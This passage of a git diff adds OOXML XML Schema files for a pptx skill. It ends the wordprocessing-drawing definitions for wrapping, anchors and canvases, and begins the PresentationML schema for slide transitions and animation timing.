name="distL" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distR" type="ST_WrapDistance" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_WrapText"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="bothSides"/> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="largest"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_WrapPath"> + <xsd:sequence> + <xsd:element name="start" type="a:CT_Point2D" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lineTo" type="a:CT_Point2D" minOccurs="2" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="edited" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WrapNone"/> + <xsd:complexType name="CT_WrapSquare"> + <xsd:sequence> + <xsd:element name="effectExtent" type="CT_EffectExtent" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="wrapText" type="ST_WrapText" use="required"/> + <xsd:attribute name="distT" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distB" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distL" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distR" type="ST_WrapDistance" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WrapTight"> + <xsd:sequence> + <xsd:element name="wrapPolygon" type="CT_WrapPath" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="wrapText" type="ST_WrapText" use="required"/> + <xsd:attribute name="distL" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distR" type="ST_WrapDistance" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WrapThrough"> + <xsd:sequence> + <xsd:element name="wrapPolygon" type="CT_WrapPath" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="wrapText" type="ST_WrapText" use="required"/> + <xsd:attribute name="distL" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distR" type="ST_WrapDistance" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_WrapTopBottom"> + <xsd:sequence> + <xsd:element name="effectExtent" type="CT_EffectExtent" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="distT" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distB" type="ST_WrapDistance" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_WrapType"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="wrapNone" type="CT_WrapNone" minOccurs="1" maxOccurs="1"/> + <xsd:element name="wrapSquare" type="CT_WrapSquare" minOccurs="1" maxOccurs="1"/> + <xsd:element name="wrapTight" type="CT_WrapTight" minOccurs="1" maxOccurs="1"/> + <xsd:element name="wrapThrough" type="CT_WrapThrough" minOccurs="1" maxOccurs="1"/> + <xsd:element name="wrapTopAndBottom" type="CT_WrapTopBottom" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + </xsd:group> + <xsd:simpleType name="ST_PositionOffset"> + <xsd:restriction base="xsd:int"/> + </xsd:simpleType> + <xsd:simpleType name="ST_AlignH"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="left"/> + <xsd:enumeration value="right"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="inside"/> + <xsd:enumeration value="outside"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RelFromH"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + <xsd:enumeration value="column"/> + <xsd:enumeration value="character"/> + <xsd:enumeration value="leftMargin"/> + <xsd:enumeration value="rightMargin"/> + <xsd:enumeration value="insideMargin"/> + <xsd:enumeration value="outsideMargin"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PosH"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="align" type="ST_AlignH" minOccurs="1" maxOccurs="1"/> + <xsd:element name="posOffset" type="ST_PositionOffset" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + <xsd:attribute name="relativeFrom" type="ST_RelFromH" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_AlignV"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="top"/> + <xsd:enumeration value="bottom"/> + <xsd:enumeration value="center"/> + <xsd:enumeration value="inside"/> + <xsd:enumeration value="outside"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RelFromV"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="margin"/> + <xsd:enumeration value="page"/> + <xsd:enumeration value="paragraph"/> + <xsd:enumeration value="line"/> + <xsd:enumeration value="topMargin"/> + <xsd:enumeration value="bottomMargin"/> + <xsd:enumeration value="insideMargin"/> + <xsd:enumeration value="outsideMargin"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PosV"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="align" type="ST_AlignV" minOccurs="1" maxOccurs="1"/> + <xsd:element name="posOffset" type="ST_PositionOffset" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:sequence> + <xsd:attribute name="relativeFrom" type="ST_RelFromV" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Anchor"> + <xsd:sequence> + <xsd:element name="simplePos" type="a:CT_Point2D"/> + <xsd:element name="positionH" type="CT_PosH"/> + <xsd:element name="positionV" type="CT_PosV"/> + <xsd:element name="extent" type="a:CT_PositiveSize2D"/> + <xsd:element name="effectExtent" type="CT_EffectExtent" minOccurs="0"/> + <xsd:group ref="EG_WrapType"/> + <xsd:element name="docPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="a:CT_NonVisualGraphicFrameProperties" + minOccurs="0" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="distT" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distB" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distL" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distR" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="simplePos" type="xsd:boolean"/> + <xsd:attribute name="relativeHeight" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="behindDoc" type="xsd:boolean" use="required"/> + <xsd:attribute name="locked" type="xsd:boolean" use="required"/> + <xsd:attribute name="layoutInCell" type="xsd:boolean" use="required"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional"/> + <xsd:attribute name="allowOverlap" type="xsd:boolean" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TxbxContent"> + <xsd:group ref="w:EG_BlockLevelElts" minOccurs="1" maxOccurs="unbounded"/> + </xsd:complexType> + <xsd:complexType name="CT_TextboxInfo"> + <xsd:sequence> + <xsd:element name="txbxContent" type="CT_TxbxContent" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedShort" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_LinkedTextboxInformation"> + <xsd:sequence> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="xsd:unsignedShort" use="required"/> + <xsd:attribute name="seq" type="xsd:unsignedShort" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_WordprocessingShape"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="0" maxOccurs="1"/> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="cNvSpPr" type="a:CT_NonVisualDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="cNvCnPr" type="a:CT_NonVisualConnectorProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:choice> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="txbx" type="CT_TextboxInfo" minOccurs="1" maxOccurs="1"/> + <xsd:element name="linkedTxbx" type="CT_LinkedTextboxInformation" minOccurs="1" + maxOccurs="1"/> + </xsd:choice> + <xsd:element name="bodyPr" type="a:CT_TextBodyProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="normalEastAsianFlow" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicFrame"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvFrPr" type="a:CT_NonVisualGraphicFrameProperties" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="xfrm" type="a:CT_Transform2D" minOccurs="1" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_WordprocessingContentPartNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cNvContentPartPr" type="a:CT_NonVisualContentPartProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_WordprocessingContentPart"> + <xsd:sequence> + <xsd:element name="nvContentPartPr" type="CT_WordprocessingContentPartNonVisual" minOccurs="0" maxOccurs="1"/> + <xsd:element name="xfrm" type="a:CT_Transform2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="bwMode" type="a:ST_BlackWhiteMode" use="optional"/> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_WordprocessingGroup"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cNvGrpSpPr" type="a:CT_NonVisualGroupDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="grpSpPr" type="a:CT_GroupShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element ref="wsp"/> + <xsd:element name="grpSp" type="CT_WordprocessingGroup"/> + <xsd:element name="graphicFrame" type="CT_GraphicFrame"/> + <xsd:element ref="dpct:pic"/> + <xsd:element name="contentPart" type="CT_WordprocessingContentPart"/> + </xsd:choice> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_WordprocessingCanvas"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="bg" type="a:CT_BackgroundFormatting" minOccurs="0" maxOccurs="1"/> + <xsd:element name="whole" type="a:CT_WholeE2oFormatting" minOccurs="0" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element ref="wsp"/> + <xsd:element ref="dpct:pic"/> + <xsd:element name="contentPart" type="CT_WordprocessingContentPart"/> + <xsd:element ref="wgp"/> + <xsd:element name="graphicFrame" type="CT_GraphicFrame"/> + </xsd:choice> + <xsd:element name="extLst" type="a:CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="wpc" type="CT_WordprocessingCanvas"/> + <xsd:element name="wgp" type="CT_WordprocessingGroup"/> + <xsd:element name="wsp" type="CT_WordprocessingShape"/> + <xsd:element name="inline" type="CT_Inline"/> + <xsd:element name="anchor" type="CT_Anchor"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd new file mode 100644 index 00000000..14ef4888 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd @@ -0,0 +1,1676 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/presentationml/2006/main" + xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + elementFormDefault="qualified" + targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main"> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes" + schemaLocation="shared-commonSimpleTypes.xsd"/> + <xsd:simpleType name="ST_TransitionSideDirectionType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="u"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="d"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TransitionCornerDirectionType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="lu"/> + <xsd:enumeration value="ru"/> + <xsd:enumeration value="ld"/> + <xsd:enumeration value="rd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TransitionInOutDirectionType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="out"/> + <xsd:enumeration value="in"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SideDirectionTransition"> + <xsd:attribute name="dir" type="ST_TransitionSideDirectionType" use="optional" default="l"/> + </xsd:complexType> + <xsd:complexType name="CT_CornerDirectionTransition"> + <xsd:attribute name="dir" type="ST_TransitionCornerDirectionType" use="optional" default="lu"/> + </xsd:complexType> + <xsd:simpleType name="ST_TransitionEightDirectionType"> + <xsd:union memberTypes="ST_TransitionSideDirectionType ST_TransitionCornerDirectionType"/> + </xsd:simpleType> + <xsd:complexType name="CT_EightDirectionTransition"> + <xsd:attribute name="dir" type="ST_TransitionEightDirectionType" use="optional" default="l"/> + </xsd:complexType> + <xsd:complexType name="CT_OrientationTransition"> + <xsd:attribute name="dir" type="ST_Direction" use="optional" default="horz"/> + </xsd:complexType> + <xsd:complexType name="CT_InOutTransition"> + <xsd:attribute name="dir" type="ST_TransitionInOutDirectionType" use="optional" default="out"/> + </xsd:complexType> + <xsd:complexType name="CT_OptionalBlackTransition"> + <xsd:attribute name="thruBlk" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_SplitTransition"> + <xsd:attribute name="orient" type="ST_Direction" use="optional" default="horz"/> + <xsd:attribute name="dir" type="ST_TransitionInOutDirectionType" use="optional" default="out"/> + </xsd:complexType> + <xsd:complexType name="CT_WheelTransition"> + <xsd:attribute name="spokes" type="xsd:unsignedInt" use="optional" default="4"/> + </xsd:complexType> + <xsd:complexType name="CT_TransitionStartSoundAction"> + <xsd:sequence> + <xsd:element minOccurs="1" maxOccurs="1" name="snd" type="a:CT_EmbeddedWAVAudioFile"/> + </xsd:sequence> + <xsd:attribute name="loop" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_TransitionSoundAction"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="stSnd" type="CT_TransitionStartSoundAction"/> + <xsd:element name="endSnd" type="CT_Empty"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TransitionSpeed"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="slow"/> + <xsd:enumeration value="med"/> + <xsd:enumeration value="fast"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SlideTransition"> + <xsd:sequence> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="blinds" type="CT_OrientationTransition"/> + <xsd:element name="checker" type="CT_OrientationTransition"/> + <xsd:element name="circle" type="CT_Empty"/> + <xsd:element name="dissolve" type="CT_Empty"/> + <xsd:element name="comb" type="CT_OrientationTransition"/> + <xsd:element name="cover" type="CT_EightDirectionTransition"/> + <xsd:element name="cut" type="CT_OptionalBlackTransition"/> + <xsd:element name="diamond" type="CT_Empty"/> + <xsd:element name="fade" type="CT_OptionalBlackTransition"/> + <xsd:element name="newsflash" type="CT_Empty"/> + <xsd:element name="plus" type="CT_Empty"/> + <xsd:element name="pull" type="CT_EightDirectionTransition"/> + <xsd:element name="push" type="CT_SideDirectionTransition"/> + <xsd:element name="random" type="CT_Empty"/> + <xsd:element name="randomBar" type="CT_OrientationTransition"/> + <xsd:element name="split" type="CT_SplitTransition"/> + <xsd:element name="strips" type="CT_CornerDirectionTransition"/> + <xsd:element name="wedge" type="CT_Empty"/> + <xsd:element name="wheel" type="CT_WheelTransition"/> + <xsd:element name="wipe" type="CT_SideDirectionTransition"/> + <xsd:element name="zoom" type="CT_InOutTransition"/> + </xsd:choice> + <xsd:element name="sndAc" minOccurs="0" maxOccurs="1" type="CT_TransitionSoundAction"/> + <xsd:element name="extLst" type="CT_ExtensionListModify" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="spd" type="ST_TransitionSpeed" use="optional" default="fast"/> + <xsd:attribute name="advClick" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="advTm" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLTimeIndefinite"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="indefinite"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTime"> + <xsd:union memberTypes="xsd:unsignedInt ST_TLTimeIndefinite"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeID"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:complexType name="CT_TLIterateIntervalTime"> + <xsd:attribute name="val" type="ST_TLTime" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLIterateIntervalPercentage"> + <xsd:attribute name="val" type="a:ST_PositivePercentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_IterateType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="el"/> + <xsd:enumeration value="wd"/> + <xsd:enumeration value="lt"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLIterateData"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="tmAbs" type="CT_TLIterateIntervalTime"/> + <xsd:element name="tmPct" type="CT_TLIterateIntervalPercentage"/> + </xsd:choice> + <xsd:attribute name="type" type="ST_IterateType" use="optional" default="el"/> + <xsd:attribute name="backwards" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_TLSubShapeId"> + <xsd:attribute name="spid" type="a:ST_ShapeID" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTextTargetElement"> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="charRg" type="CT_IndexRange"/> + <xsd:element name="pRg" type="CT_IndexRange"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TLChartSubelementType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="gridLegend"/> + <xsd:enumeration value="series"/> + <xsd:enumeration value="category"/> + <xsd:enumeration value="ptInSeries"/> + <xsd:enumeration value="ptInCategory"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLOleChartTargetElement"> + <xsd:attribute name="type" type="ST_TLChartSubelementType" use="required"/> + <xsd:attribute name="lvl" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_TLShapeTargetElement"> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="bg" type="CT_Empty"/> + <xsd:element name="subSp" type="CT_TLSubShapeId"/> + <xsd:element name="oleChartEl" type="CT_TLOleChartTargetElement"/> + <xsd:element name="txEl" type="CT_TLTextTargetElement"/> + <xsd:element name="graphicEl" type="a:CT_AnimationElementChoice"/> + </xsd:choice> + <xsd:attribute name="spid" type="a:ST_DrawingElementId" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTimeTargetElement"> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="sldTgt" type="CT_Empty"/> + <xsd:element name="sndTgt" type="a:CT_EmbeddedWAVAudioFile"/> + <xsd:element name="spTgt" type="CT_TLShapeTargetElement"/> + <xsd:element name="inkTgt" type="CT_TLSubShapeId"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_TLTriggerTimeNodeID"> + <xsd:attribute name="val" type="ST_TLTimeNodeID" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLTriggerRuntimeNode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="first"/> + <xsd:enumeration value="last"/> + <xsd:enumeration value="all"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLTriggerRuntimeNode"> + <xsd:attribute name="val" type="ST_TLTriggerRuntimeNode" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TLTriggerEvent"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="onBegin"/> + <xsd:enumeration value="onEnd"/> + <xsd:enumeration value="begin"/> + <xsd:enumeration value="end"/> + <xsd:enumeration value="onClick"/> + <xsd:enumeration value="onDblClick"/> + <xsd:enumeration value="onMouseOver"/> + <xsd:enumeration value="onMouseOut"/> + <xsd:enumeration value="onNext"/> + <xsd:enumeration value="onPrev"/> + <xsd:enumeration value="onStopAudio"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLTimeCondition"> + <xsd:choice minOccurs="0" maxOccurs="1"> + <xsd:element name="tgtEl" type="CT_TLTimeTargetElement"/> + <xsd:element name="tn" type="CT_TLTriggerTimeNodeID"/> + <xsd:element name="rtn" type="CT_TLTriggerRuntimeNode"/> + </xsd:choice> + <xsd:attribute name="evt" use="optional" type="ST_TLTriggerEvent"/> + <xsd:attribute name="delay" type="ST_TLTime" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTimeConditionList"> + <xsd:sequence> + <xsd:element name="cond" type="CT_TLTimeCondition" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TimeNodeList"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element name="par" type="CT_TLTimeNodeParallel"/> + <xsd:element name="seq" type="CT_TLTimeNodeSequence"/> + <xsd:element name="excl" type="CT_TLTimeNodeExclusive"/> + <xsd:element name="anim" type="CT_TLAnimateBehavior"/> + <xsd:element name="animClr" type="CT_TLAnimateColorBehavior"/> + <xsd:element name="animEffect" type="CT_TLAnimateEffectBehavior"/> + <xsd:element name="animMotion" type="CT_TLAnimateMotionBehavior"/> + <xsd:element name="animRot" type="CT_TLAnimateRotationBehavior"/> + <xsd:element name="animScale" type="CT_TLAnimateScaleBehavior"/> + <xsd:element name="cmd" type="CT_TLCommandBehavior"/> + <xsd:element name="set" type="CT_TLSetBehavior"/> + <xsd:element name="audio" type="CT_TLMediaNodeAudio"/> + <xsd:element name="video" type="CT_TLMediaNodeVideo"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TLTimeNodePresetClassType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="entr"/> + <xsd:enumeration value="exit"/> + <xsd:enumeration value="emph"/> + <xsd:enumeration value="path"/> + <xsd:enumeration value="verb"/> + <xsd:enumeration value="mediacall"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeRestartType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="always"/> + <xsd:enumeration value="whenNotActive"/> + <xsd:enumeration value="never"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeFillType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="remove"/> + <xsd:enumeration value="freeze"/> + <xsd:enumeration value="hold"/> + <xsd:enumeration value="transition"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeSyncType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="canSlip"/> + <xsd:enumeration value="locked"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeMasterRelation"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sameClick"/> + <xsd:enumeration value="lastClick"/> + <xsd:enumeration value="nextClick"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLTimeNodeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="clickEffect"/> + <xsd:enumeration value="withEffect"/> + <xsd:enumeration value="afterEffect"/> + <xsd:enumeration value="mainSeq"/> + <xsd:enumeration value="interactiveSeq"/> + <xsd:enumeration value="clickPar"/> + <xsd:enumeration value="withGroup"/> + <xsd:enumeration value="afterGroup"/> + <xsd:enumeration value="tmRoot"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLCommonTimeNodeData"> + <xsd:sequence> + <xsd:element name="stCondLst" type="CT_TLTimeConditionList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="endCondLst" type="CT_TLTimeConditionList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="endSync" type="CT_TLTimeCondition" minOccurs="0" maxOccurs="1"/> + <xsd:element name="iterate" type="CT_TLIterateData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="childTnLst" type="CT_TimeNodeList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="subTnLst" type="CT_TimeNodeList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_TLTimeNodeID" use="optional"/> + <xsd:attribute name="presetID" type="xsd:int" use="optional"/> + <xsd:attribute name="presetClass" type="ST_TLTimeNodePresetClassType" use="optional"/> + <xsd:attribute name="presetSubtype" type="xsd:int" use="optional"/> + <xsd:attribute name="dur" type="ST_TLTime" use="optional"/> + <xsd:attribute name="repeatCount" type="ST_TLTime" use="optional" default="1000"/> + <xsd:attribute name="repeatDur" type="ST_TLTime" use="optional"/> + <xsd:attribute name="spd" type="a:ST_Percentage" use="optional" default="100%"/> + <xsd:attribute name="accel" type="a:ST_PositiveFixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="decel" type="a:ST_PositiveFixedPercentage" use="optional" default="0%"/> + <xsd:attribute name="autoRev" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="restart" type="ST_TLTimeNodeRestartType" use="optional"/> + <xsd:attribute name="fill" type="ST_TLTimeNodeFillType" use="optional"/> + <xsd:attribute name="syncBehavior" type="ST_TLTimeNodeSyncType" use="optional"/> + <xsd:attribute name="tmFilter" type="xsd:string" use="optional"/> + <xsd:attribute name="evtFilter" type="xsd:string" use="optional"/> + <xsd:attribute name="display" type="xsd:boolean" use="optional"/> + <xsd:attribute name="masterRel" type="ST_TLTimeNodeMasterRelation" use="optional"/> + <xsd:attribute name="bldLvl" type="xsd:int" use="optional"/> + <xsd:attribute name="grpId" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="afterEffect" type="xsd:boolean" use="optional"/> + <xsd:attribute name="nodeType" type="ST_TLTimeNodeType" use="optional"/> + <xsd:attribute name="nodePh" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTimeNodeParallel"> + <xsd:sequence> + <xsd:element name="cTn" type="CT_TLCommonTimeNodeData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TLNextActionType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="seek"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TLPreviousActionType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="skipTimed"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TLTimeNodeSequence"> + <xsd:sequence> + <xsd:element name="cTn" type="CT_TLCommonTimeNodeData" minOccurs="1" maxOccurs="1"/> + <xsd:element name="prevCondLst" type="CT_TLTimeConditionList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="nextCondLst" type="CT_TLTimeConditionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="concurrent" type="xsd:boolean" use="optional"/> + <xsd:attribute name="prevAc" type="ST_TLPreviousActionType" use="optional"/> + <xsd:attribute name="nextAc" type="ST_TLNextActionType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TLTimeNodeExclusive"> + <xsd:sequence> + <xsd:element name="cTn" type="CT_TLCommonTimeNodeData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TLBehaviorAttributeNameList"> + <xsd:sequence> + <xsd:element name="attrName" type="xsd:string" minOccurs="1" maxOccurs="unbounded"/> 